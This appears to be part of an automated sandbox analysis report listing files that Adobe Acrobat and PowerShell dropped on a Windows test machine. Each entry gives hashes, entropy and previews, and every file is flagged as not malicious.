SHA1:	4FAEAE64382E1A653B62554B190380807FF6AFBC
SHA-256:	2EF7A1A2F0BB707D3C0D3457549D05E1B7642878092D6C13AA9527169E92A25B
SHA-512:	784762AC770A81F77F6006F026C19111E882862E0FBA24492E4F60216A3A3E5EBF233C3EFA33719B9AD9DF88677AD1489249D1F02BE15A716FF780051B707AF5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"05b3f442-4b2c-427a-94a2-445319dd6449","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736720504566,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.28412110049746
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHQHW0GsHk4snV0nZiQ0YcA0oDoAvJf21rPeUkwRe9:YvXKXVObIGcdG+16Ukee9
MD5:	3DE15BD9C79C129F9C219B2E273998CD
SHA1:	F19AFF6288EC5FA7BA61E9C637C88A2E03080BC4
SHA-256:	A116E24C13DEFC1BD86E35443A6BB6AA156B7194FE2F5512C17E1DCA21FABAFE
SHA-512:	C69FB16D8699414922A55D7842F8D3047B1D1A4676CE9A3A46009DD71D7EFF2655E32830FC15687391BB0F094F29043119D239E59C2E15D3206CE60EF7438539
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"05b3f442-4b2c-427a-94a2-445319dd6449","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736720504566,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.6594866486005895
Encrypted:	false
SSDEEP:	24:Yv6XcI7+amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS7:YvMUBgkDMUJUAh8cvM7
MD5:	7EC9E3124424DBEFFF5A8DF9DF298F6D
SHA1:	F088846DC2CE03CA1E7F0E76DC7C96366AE1604A
SHA-256:	595E92AF2555AE1E50CC912423AC2848C6D16FCAACE6FAAD7938980224CF8730
SHA-512:	CCAB4617DBE6E72CF5C33A4E6A31C9D6E1E41CF92632F40C65F26C9F6418F80BB90F0E37536CF1F3B191B3B6B0EA045C93D4C59CACBC8312AFEE9344D814D932
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"05b3f442-4b2c-427a-94a2-445319dd6449","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736720504566,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.260410383079224
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHQHW0GsHk4snV0nZiQ0YcA0oDoAvJfshHHrPeUkwRe9:YvXKXVObIGcdGUUUkee9
MD5:	A56B36DDF2808E12F3C296DBD5A4CD9C
SHA1:	D9078E120EB7A42DC9498CA3BCEE0491A20DC178
SHA-256:	9A0A7DA02542E27EEA95F54B47F2E7C051169A22037F086393F8764274B7B9F4
SHA-512:	6975789855A0C245145E59FC82FFB898010EFD64FBB5E66D1C33853AD93E6FE091ED8E81809783524662B7C4EF325A2E51217238ABBBFCF6295D70611A409C45
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"05b3f442-4b2c-427a-94a2-445319dd6449","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736720504566,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.260005016364052
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHQHW0GsHk4snV0nZiQ0YcA0oDoAvJTqgFCrPeUkwRe9:YvXKXVObIGcdGTq16Ukee9
MD5:	0DB4BE39BD6C9BBBE22FB83FBE956C3D
SHA1:	E2538A8126F2F7CEE8731052E3AB51434CC25401
SHA-256:	3AAAC2C4DC2DCB4CF241F8950522F9A6A3BA1677EDCCD2E9E1D8E8491ED025A9
SHA-512:	D4C3BF9ADD6F3FEBFA881E24E75657407784BE43A738F2622CA79B6F600FE655918B4C5404BAF25492A99CDD68B213F6EDC271388B9A9F5B79D913D4519727CD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"05b3f442-4b2c-427a-94a2-445319dd6449","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736720504566,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.147681785475426
Encrypted:	false
SSDEEP:	24:Yn1V9gilao3ayOpNAFbm4o3jzIsj0SJoAp2jy2LSLChptKWkvk65oQ9zHuxvOG:Ynj9g2nUU+aI7FUtKWsCQ9zm
MD5:	D4A0F6057C31328E32D16FE133A8F818
SHA1:	3DC3603B2FFB4F808D57CB794F10DDDEF68F22CE
SHA-256:	321902992409D1910D475985B40099AA3718CAED27DC194C1629F40B4D3B9943
SHA-512:	776BF5BEDCB081D88F412D31597A342BCE858013CE199F5C54D6110A6890EBA07F6F06471E56852681065610042AD55481C0D6FF8D354E524B6514160C88A3F4
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"a2e3941e1f2abbc423bb6b8654b837ee","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736543594000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"0b44710280a5936cf392d97cb6108096","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736543593000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"b58a49841fb2b113627e05b36b652cec","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736543593000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"853dc2ba62c96285744206fac724ba65","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736543593000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"9589676dd065f387b3338f870975cce6","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736543593000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"aa945b9fc97a821045148243b0341721","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 24, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 24
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1456680632214054
Encrypted:	false
SSDEEP:	24:TLhx/XYKQvGJF7urs5kvKRZXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUuf:TFl2GL7ms5VXc+XcGNFlRYIX2v3kyb
MD5:	75F68C6DC096DF8A658053C94D7F3AF9
SHA1:	E9DDE40F7B4A0BC11C3E24EAF7964EC02F4201D4
SHA-256:	A2BA83F8913E759CF03D8C471503E09978518B3036BF2333A8DC771D8F9B1472
SHA-512:	A0A364450D49F3C0E896CDC630D7B05098D529859402569E82FF7344B42CE5168FB4C3482F6B6B6BF710FB0470AEC57484563BD571631644A732D97C9D71977B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.5488386175669788
Encrypted:	false
SSDEEP:	48:7MO6Xc+XcGNFlRYIX2v21tnqVl2GL7msx:7b6Xc+XckFPYIX2CtnaVmsx
MD5:	4D2436A0ACAB2834680A942947782E62
SHA1:	0BDF2F8D370AEC97A872BFAF123179869641D0DA
SHA-256:	791F870BD3D9ED7153567094D86CA1E7793B3C8C3F5852294CE637C48A59095F
SHA-512:	66697BF99CA2A3B816DFA433A21CBF9D45DE41A662AA1C99B0E5F3BFF4E688D64675C2FFA2170636CBABCF7A39319BE64DC68A1DC0B42AE6347716106DD76358
Malicious:	false
Preview:	.... .c......bSP..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................b..b.b.b.b.b.b.b.b.b.b.b.b.b..................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgTBVAXJP4xNk2l0zuY6TTtpwt61Yyu:6a6TZ44ADETBVgP4xyQUuY6nDK
MD5:	7929BD4523B7BCAA0033D2A3D5A471F2
SHA1:	2B3CE4DDD2313912DDB67E9DFEB2F74FEF587C7D
SHA-256:	ECA43FE8A1995F34EAFED63823B3297217714A5FFDBDBA52300A12E882006FDC
SHA-512:	7862D7AA571F2F1E4FB1666024C317FA206E40E2A46359F7F070E5C0A0615F9225CF8CE887A4B201CA584C45196B21C7AAAC12315741D25539C3A87A6D83293D
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllulbnolz:NllUc
MD5:	F23953D4A58E404FCB67ADD0C45EB27A
SHA1:	2D75B5CACF2916C66E440F19F6B3B21DFD289340
SHA-256:	16F994BFB26D529E4C28ED21C6EE36D4AFEAE01CEEB1601E85E0E7FDFF4EFA8B
SHA-512:	B90BFEC26910A590A367E8356A20F32A65DB41C6C62D79CA0DDCC8D95C14EB48138DEC6B992A6E5C7B35CFF643063012462DA3E747B2AA15721FE2ECCE02C044
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIad624.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.499838153709141
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClErNH2H:Qw946cPbiOxDlbYnuRK+bDrNWH
MD5:	FAE831782E9CBA744A0C58E53153E244
SHA1:	303E01CDFBFE2C3AF35BD2E3DFAB26296F03ED5D
SHA-256:	3C609570DEF49AEBAAD6B7408836302A26535A77F644088DAE9E9AC69FDF84EE
SHA-512:	7864EA93528F6B61BC17BF82500D23D3FFB7B61AC761B4F2BDC07EF35FD025519ACAC2A0F33008AD66F459D72F89684A9379F4238743CA8BF4F32F51F14F6590
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.6.:.1.3.:.1.2. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ippnda4s.tvn.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zi1upwsa.ga5.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 16-13-06-903.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.338264912747007
Encrypted:	false
SSDEEP:	384:lH4ZASLaTgKoBKkrNdOZTfUY9/B6u6AJ8dbBNrSVNspYiz5LkiTjgjQLhDydAY8s:kIb
MD5:	128A51060103D95314048C2F32A15C66
SHA1:	EEB64761BE485729CD12BF4FBF7F2A68BA1AD7DB
SHA-256:	601388D70DFB723E560FEA6AE08E5FEE8C1A980DF7DF9B6C10E1EC39705D4713
SHA-512:	55099B6F65D6EF41BC0C077BF810A13BA338C503974B4A5F2AA8EB286E1FCF49DF96318B1DA691296FB71AA8F2A2EA1406C4E86F219B40FB837F2E0BF208E677
Malicious:	false
Preview:	SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.378303300671799
Encrypted:	false
SSDEEP:	384:nn7W7r5QRLohWAAHXRzZbBcV1ido77XtwnK2Aj3zuSWlnhv1/+eLXCXSfsVGVm4O:PeTMS
MD5:	1E967D761463FE45F8E748333FEB85F1
SHA1:	73F5FD9CD3C10BFA1FC2E3F0A614CBACA9ED7AC2
SHA-256:	96E289D781052A8E01D68ED4F801FA0344C6F083A2E6517BA4509CF09C935404
SHA-512:	3B0993B03187FB38C4C25AF0CFCAE7486F47AA68A3E44B64D8C2578D7621CA8E885D78A934BF6F2127CD9C5450CBB683A1E628361B3DCB7B26825D9C673E8EF4
Malicious:	false
Preview:	SessionID=0a9d8692-6443-49b3-b821-b8d0d48611f6.1736543586927 Timestamp=2025-01-10T16:13:06:927-0500 ThreadID=7396 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=0a9d8692-6443-49b3-b821-b8d0d48611f6.1736543586927 Timestamp=2025-01-10T16:13:06:943-0500 ThreadID=7396 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=0a9d8692-6443-49b3-b821-b8d0d48611f6.1736543586927 Timestamp=2025-01-10T16:13:06:943-0500 ThreadID=7396 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=0a9d8692-6443-49b3-b821-b8d0d48611f6.1736543586927 Timestamp=2025-01-10T16:13:06:943-0500 ThreadID=7396 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=0a9d8692-6443-49b3-b821-b8d0d48611f6.1736543586927 Timestamp=2025-01-10T16:13:06:943-0500 ThreadID=7396 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.395300329021867
Encrypted:	false
SSDEEP:	192:acb4I3dcbPcbaIO4cbYcbqnIdjcb6acbaIewcbVLcbOIrjcbR:V3fOCIdJDejMro
MD5:	0705ADFF49CBA1F02408EF699A502953
SHA1:	0BD4F2438E34841658606B38C985A6D51A8453C5
SHA-256:	6B915070BF175B5E961B33A34E1F959D7DB5C30CA6AD1FE1B56DD513C882CE55
SHA-512:	086174F71633FCBC707B6363309C0B6F6FD9A8A26EBF7FA8931A6EBA112116BC3497DAF819FAFFAD33075BB12A5F90498FB789156A67941AB6139C0D6DE90A8F
Malicious:	false
Preview:	05-10-2023 08:20:22:.---2---..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:20:22:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\5778d0c9-7288-4c87-8a76-45ebc41f2fa2.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\69f60ca7-ced0-432c-9451-052d4c29f29f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/M7ouWLYZwYIGNPMGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:RuWLYZwZGuGZn3mlind9i4ufFXpAXkru
MD5:	EC8D4FAB55F24C0E344D263724846C4A
SHA1:	5444D90F86D68A23AF7FB5434DEAE740D57D0312
SHA-256:	E489C11D38BFF8F1F51351BAEBEE9F723A5C036DA0B0CB9C82306251017054EE
SHA-512:	21018FD299944987654C202779C8E0185815868DE7179B814F145573EE8D45ACC33CA7E008CB23774C473DD7939E9D7D7C2E5A14E31D5EC62F7BFFDBBAB41F9A
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\9ca39f1f-1b89-409b-8058-594f0befd0cd.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
